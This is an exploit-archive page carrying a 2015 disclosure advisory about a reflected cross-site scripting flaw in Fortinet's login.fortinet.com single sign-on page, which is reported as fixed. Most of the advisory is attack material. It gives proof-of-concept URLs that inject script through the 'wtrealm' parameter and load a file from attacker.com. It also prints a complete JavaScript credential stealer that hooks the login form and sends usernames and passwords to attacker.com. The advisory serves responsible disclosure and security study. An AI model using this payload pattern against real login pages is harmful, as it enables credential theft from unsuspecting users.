what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Fortinet Cross Site Scripting

Fortinet Cross Site Scripting
Posted Dec 4, 2015
Authored by Yann CAM

The login.fortinet.com site suffered from a reflective cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 66571f8144851a8371be1d5f8d2edae17f7278739655c44af22a1cea57e1fcba

Fortinet Cross Site Scripting

Change Mirror Download
######################################################################
# Exploit Title: fortinet.com Reflected XSS Credential stealer
# Date: 04/12/2015
# Author: Yann CAM @ Synetis - ASafety
# Vendor or Software Link: www.fortinet.com
# Version: /
# Category: Reflected Cross Site Scripting
# Google dork:
# Tested on: Fortinet sub-domains (login domain)
######################################################################

Fortinet description :
======================================================================

Fortinet, Inc. is an American multinational corporation founded in 2000 by brothers Ken and Michael Xie. The company sells high performance network security products and services including their flagship integrated network security solution, the FortiGate firewall. Fortinet distributes its systems and subscription-based services using the channel partner sales method via more than 20,000 partners worldwide. Fortinet is positioned as the revenue leader in unified threat management (UTM) solutions.

Fortinet competes in the UTM and network security industry, and has the third-highest market share in security appliances after Cisco Systems and Check Point.


Vulnerability description :
======================================================================
A reflected Cross-Site Scripting vulnerability was identified in login.fortinet.com IdP-SSO page.
To access protected resources on searchsupport.fortinet.com or forticare.fortinet.com, users are redirected to login.fortinet.com to login (Single Sign-On federation through uniq IdP).
This IdP suffers from a RXSS, and a malicious user can catch all credential (login / password) in plaintext (demonstration : https://www.youtube.com/watch?v=vDYdBMeZ7fc).

Through this vulnerability, an attacker could tamper with page rendering, redirect victims to fake Fortinet portals, or capture Fortinet's users credentials.
This vulnerable parameter is not properly sanitized before being used in pages.


Proof of Concept 1 - login.fortinet.com - RXSS alert() canonical :
======================================================================

A non-persistent XSS (RXSS) in "wtrealm" GET param is available in the SSO domain of Fortinet.
Tested on Firefox 42.0.

PoC:

https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/<script>alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/);</script>&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP


Proof of Concept 2 - login.fortinet.com - RXSS third party script :
======================================================================

Through this XSS, a malicious user can load a third-party JavaScript file in the login.fortinet.com browser's context.
The next quick'n'dirty JavaScript file can illustrate the availability of an attacker to grab all credential in plaintext.
Tested on Firefox 42.0.

PoC:

https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/<script>s=document.createElement('script');s.setAttribute('src','//attacker.com/x.js');document.body.appendChild(s);</script>&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP

x.js hosted on "https://attacker.com/x.js" :

//alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/);
// Add JQuery dynamically if needed
var headx=document.getElementsByTagName('head')[0];
var jq= document.createElement('script');
jq.type= 'text/javascript';
jq.src= 'https://code.jquery.com/jquery-latest.min.js';
headx.appendChild(jq); // jquery dynamic loading
// function to send through GET the login/password of the victim to the attacker's server
function sendX(login, passwd){
var x=document.getElementsByTagName('head')[0];
var y= document.createElement('script');
y.type= 'text/javascript';
y.src= 'https://attacker.com/x.php?LOGIN='+login+'&PASSWD='+passwd;
x.appendChild(y);
}
// function to recover the form submit action event
function submitX(){
document.forms[0].onsubmit=function() {
return true; // enable the form "action"
};
document.forms[0].submit();
}
// function to hook the login form and add an onsubmit action (before the form action)
function loadX(){
$( document ).ready(function() {
$("#contextHolder_InvalidRPAddress").html(""); // clean the error message on the page
document.forms[0].onsubmit=function() {
login=document.getElementById("contextHolder_Login_name").value;
passwd=document.getElementById("contextHolder_Login_password").value;
sendX(login,passwd); // retrieve login/password
setTimeout("submitX()", 1000); // recover initial form submit action
return false; // block the form "action"
};
});
}
setTimeout('loadX()', 2000);


Demonstration video :
======================================================================

- https://www.youtube.com/watch?v=vDYdBMeZ7fc

Screenshots :
======================================================================

- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_001.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_002.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_003.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_004.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_005.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_006.png


Solution:
======================================================================

Fixed by Fortinet Security Team.


Additional resources :
======================================================================

- https://www.fortinet.com
- http://www.asafety.fr/
- http://www.synetis.com


Report timeline :
======================================================================

2015-11-06 : Fortinet PSIRT Team alerted with details and PoC.
2015-11-27 : Fortinet PSIRT Team response with thanks and open a ticket.
2015-12-02 : Fortinet PSIRT Team fixe the issue and ask to check the correction.
2015-12-03 : Fix confirmed and ticket closed.
2015-12-04 : Public advisory.


Credits :
======================================================================

88888888
88 888 88 88
888 88 88
788 Z88 88 88.888888 8888888 888888 88 8888888.
888888. 88 88 888 Z88 88 88 88 88 88 88
8888888 88 88 88 88 88 88 88 88 888
888 88 88 88 88 88888888888 88 88 888888
88 88 88 8. 88 88 88 88 88 888
888 ,88 8I88 88 88 88 88 88 88 .88 .88
?8888888888. 888 88 88 88888888 8888 88 =88888888
888. 88
88 www.synetis.com
8888 Consulting firm in management and information security

Yann CAM - Security Consultant @ Synetis | ASafety

--
SYNETIS | ASafety
CONTACT: www.synetis.com | www.asafety.fr
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close